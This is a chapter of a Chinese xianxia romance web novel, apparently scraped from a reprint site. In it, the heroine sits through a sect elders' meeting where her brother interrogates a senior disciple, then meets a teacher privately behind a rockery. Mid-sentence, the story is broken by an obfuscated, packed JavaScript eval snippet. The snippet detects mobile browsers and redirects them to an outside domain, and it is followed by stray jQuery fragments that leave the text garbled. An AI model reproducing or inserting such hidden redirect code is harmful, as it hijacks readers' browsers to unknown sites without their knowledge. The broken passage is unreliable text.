37. 开会

作品:《死遁后兄长发疯了

    有风吹来,青云殿外的栾花悠然落下,落英缤纷。


    其中一朵格外轻盈,顺着窗户飘进殿内,落在少女的素银发钗上,鹅黄色缀在尾端,像钗子上忽然开了朵花。


    白瓷碟里摆着好一些精致糕点,祝曜穿着件浅梨色襦裙,乖巧坐好,正优雅地把面前的梨酥掰成小块,钗上的栾花因她动作而掉落。


    周遭的气氛却略显严肃,座上的长老们讨论着仙门事务,尽管如此,也并不影响她当着众人的面,慢悠悠地将糕点送入口中。


    “喝水。”身旁的人温声提醒她。


    声音不大,却打破了殿内的讨论声。


    众人下意识望去,祝昱坐于殿首的峰主位,身穿玉兰色圆领华服,气质出尘。他神色未变,仍看着殿中长老,目光扫过时,沉稳而不失压迫感,仿佛方才那句话只是众人的幻听。


    祝曜扫了眼递过来的茶杯,杯里盛着的却不是清茶,而是澄澈的温水。


    她抿了抿嘴,并不想喝,指尖又摸向碟子里的糕点。


    长老议事,没空出席的长老会让首座弟子代理,比如闭关的峰主南宫晚。


    这种事情自然是落在祝昱身上,祝曜本来因为南麓的事获得好几日假期,但祝昱非得让她寸步不离,连开会都要带她来。


    迫于血脉压制,祝曜无语但反抗无效,只能照做。


    她扫了一眼在座的各位,除了应怜看、晏迁和见过一面的温楚长老,其余都是些陌生面孔。


    还好,还好她不是首座弟子,不用像祝昱这样替师尊主持会议。


    不然她憋半天也只能说句“你们说得对”,归尘峰早晚得毁在她手里,想想都头大。


    这么想着,她又安心低下头,专注于面前的点心。


    殿内穹顶的星辰仍在运转,在她眼里,或许只是不起眼的尘埃。


    “诸位,南麓一事疑点重重。”


    祝昱的声音再次响起,打破了短暂的安静。


    “早已派人排查过的区域,为何会突然出现高级妖兽,还让毫无经验的弟子独自面对?”他目光转冷,扫向座中的应怜看:“不知负责的弟子何故没有事先察觉,又何故迟迟没有现身?”


    “你说呢,应首座?”


    话音落下,祝昱竟缓缓勾起唇角。


    殿内长老们大多面露诧异,他们极少见祝昱笑,除了提及他那妹妹祝曜时。


    此刻一笑,就显得有些阴森,让人觉得脊背发凉。


    应怜看也只是微微颔首,平静道:“此事是我管理不周,按照门规,我会自行领罚。”


    “领罚?”祝昱挑眉,语气里甚至带上淡淡讥诮:“若不是吾妹当时出手,后果又会如何?弟子们的性命,难道只靠一句‘领罚’就能挽回?”


    “最后不也没事吗?”


    祝曜忽然插嘴,众人看向她的目光更是惊讶。


    她笑了下,继续道:“生死有命富贵在天,活着,总要学会面对突发情况的,不是吗?”


    祝曜维持着面上的笑容,心里却在默默祈祷。


    哥哥我求你了!别逼应怜看了!她要是黑化了怎么办?


    祝昱敛了周身的冷意,目光落在她面前的空碟。


    上面都是被她捏碎的糕点。


    他温和地对她笑笑,拿起帕子,细致地替她擦拭沾了糕点的指尖:“阿曜,要不要再拿点糕点给你?”


    说完,他用那双好看的眸子静静望着她,祝曜却心头一沉。


    又生气了。


    根本不用多说什么,只需要一个眼神,祝曜就知道他生气了,她的小命也要岌岌可危。


    祝昱给她擦完手,便对着殿外吩咐了一句,很快有人端着一盘新的糕点进来,摆在祝曜面前。


    他拍了拍她的手背,语气依旧柔和:“捏吧。”


    祝曜果断选择闭嘴。


    祝昱转头看向应怜看:“好,此事可以暂且不提,可现场发现了少量带毒性的花粉?应首座身为随行的负责弟子,又为何连这也没有发现?”


    “还是说……别有意图?”


    应怜看平静地对上他的目光,没有丝毫退让。


    殿内的气温骤降,仿佛瞬间结冰,连长老们都屏住呼吸,没人敢轻易开口。


    祝曜忍住逃跑的冲动,又捏碎了一块糕点。


    趁祝昱不注意,她赶紧向坐在对面的晏迁使了个眼色。


    那人像是早就盯着她似的,在她递眼色的瞬间就对上了她的视线,也看见了她那慌乱又可怜的模样。


    满脸写着“夫子救命”。


    晏迁顿时觉得有些好笑。


    现在知道找他求救了?


    “笃——”


    一直沉默寡言的晏迁忽然抬起手,用指节轻轻叩了叩桌面。


    “祝兄何必如此急躁?心暗则照有不通,至察则多疑于物。没有证据的事,怎好轻易下定论呢?”


    他顿了顿,将目光投向温楚,笑着问道:“温长老,你说是吧?”


    众人的目光随之落在温楚身上。


    温楚看起来更是不急不躁:“应首座向来行事谨慎,此行山境崎岖复杂,难免有顾及不到之处。依我之见,不如先派人查清来龙去脉。有了定论,再议处置此事,也不算迟。”


    祝昱缓声提醒:“温长老,若论嫌疑,作为此行的主事长老,您恐怕也脱不了干系。”


    温楚听见这话,非但没有半分慌乱,反而莫名地笑了声。


    她终于抬眸,迎上祝昱黑沉沉的目光:“祝贤侄的心思,倒比我预想的还要细些。”


    “既然要查,便该彻查到底,也好还所有人一个明白。”


    祝昱轻轻点头,笑道:“我也这样认为。”


    殿内气氛再度严肃起来。


    祝曜听得一头雾水:“二二,他们在说什么啊,好混乱。”


    头上银钗回应:【唔……他们在玩“谁是卧底”。】


    “啊?”祝曜下意识想追问,“所以谁是?”


    【不告诉你。】


    恰好此时晏迁又看了祝曜一眼。


    随即他起身拱手道:“诸位,我还有些私事,先行告退。”


    没等其余人回应,晏迁便从容地朝殿外走,走到台阶处时,还顺带拂开落在肩上的一片栾花瓣。


    祝曜盯着他的背影,郑重其事道:“二二,你知道吗?一般这种说自己有私事的嫌疑最大。”


    【……确实。】


    祝曜也学着晏迁的话,转过头对祝昱道:“哥哥,我也有点私事,我先走了。”


    祝昱投来警告的一眼。


    祝曜心里一怵,依然选择优雅离场。


    去他的反派,管不了了,她什么都不想管了!


    青云殿内的声音还在继续。


    而另一边,晏迁走出青云殿后,并未立刻离开,而是站在殿外的栾树下,抬手接住一片飘落的栾花。


    未闻其人,先闻其声。


    祝曜一阵风的跑出来,他才缓缓抬眼:“舍得出来了?”


    祝曜脚步一顿,想了想,立即扯住他的袖子,往不远处的假山后躲,生怕被人看见。


    假山后的小溪潺潺流动,山石正好遮住两人身影。


    晏迁忽然问:“曜曜,为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334590|178477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么包庇她?你是不是有什么秘密?”


    祝曜微愣一瞬,对他眨了眨眼:“夫子,不要编排我,我什么时候包庇她了?我只是觉得……她不像是坏人呀。”


    晏迁若无其事地笑笑:“是吗?那看来是想让我妨碍你哥哥,好让他没时间管你。”


    祝曜轻声道:“夫子,我听不懂你在说什么。”


    晏迁道:“你可知,欲取之,必先予之?”


    祝曜皱起眉:“什么意思?”


    这次是真的听不懂。


    晏迁凑近了些:“利用别人之前,要先给点好处,万一这次我也可以帮你呢?”


    他话音刚落,就听见假山外传来一道清冷的女声:“师妹,是你吗?”


    应怜看?


    祝曜刚想回应,嘴就被人捂住,晏迁的额头也凑过来抵住她,如同雪松的气息扑面而来:“曜曜是小兔子吗?怎么一惊一乍的?”


    而假山外,应怜看望着那截漏出来的浅梨色裙摆,又喊了声:“师妹……我有话同你说。”


    祝曜:“……”


    如果是三个人的电影,能不能把她除名。


    “去吧,好孩子。”晏迁总算松开了她。


    面对她,他总是很有耐心。


    晏迁想。


    祝曜立即从假山后窜出来:“师姐,你怎么提前出来了?找我有什么事?”


    不远处的应怜看银发泛着光,面露柔情:“师妹,谢谢你,还有……抱歉,当时没有保护好你。”


    祝曜走过去,忽然握住她有些冰冷的手:“师姐不必道谢,你帮过我,我自然也是要帮你的。”


    应怜看闻言,轻声道:“师妹,我没有要害你的念头。”


    虽然毒是她下的,但妖兽之事,并不是她做的。


    何况当时,她被一些事绊住了脚。


    “师妹,我能为你做什么?”


    她不做没有用的人,她希望自己对祝曜来说是有用的。


    祝曜看着她的眸子,认真道:“师姐,答应我,以后无论遇到任何事情,都别跟自己过不去,更不要用极端的方式解决,就当是为了我,好不好?”


    应怜看眼底闪过一丝动容,缓缓点了点头,语气有些不舍道:“议事快结束了,师妹,我先走了。”


    “好,师姐再见。”


    见应怜看离去后,祝曜才松了口气,刚想趁机溜掉,腰上便猛地一紧,她整个人被晏迁拉了回去,抵在假山上。


    “又要跑哪去?”晏迁整个人压低,声音就落在耳边,带着点笑意。


    祝曜投降了:“夫子,你想要什么好处?”


    眼见她的表情忽然变得可怜起来,乖乖地看着他,晏迁只觉心里一片柔软。


    他思考片刻,道:“那你撒撒娇?”


    祝曜下意识接了句:“命都给我?”


    晏迁先是一愣,随即低笑出声:“可以。”


    说完,祝曜的细白指尖勾住他的手,微微晃了晃,等他看过来了,拖长声音恳求:“好夫子,帮帮我吧,好不好?”


    就这么乖地,对着他撒娇。


    晏迁的呼吸顿了顿。


    “曜曜,一切如你所愿。”


    祝曜眨眨眼睛,竖起大拇指给他点了个赞。


    晏迁脸上却露出几分迷惑:“这是何意?是在夸我?”


    祝曜怔愣片刻,摇摇头:“没什么。”


    是啊,他怎么能看得懂呢?


    所以?


    周明珩为什么看得懂她比的OK?


    是巧合?还是——


    她缓缓扯出一个笑。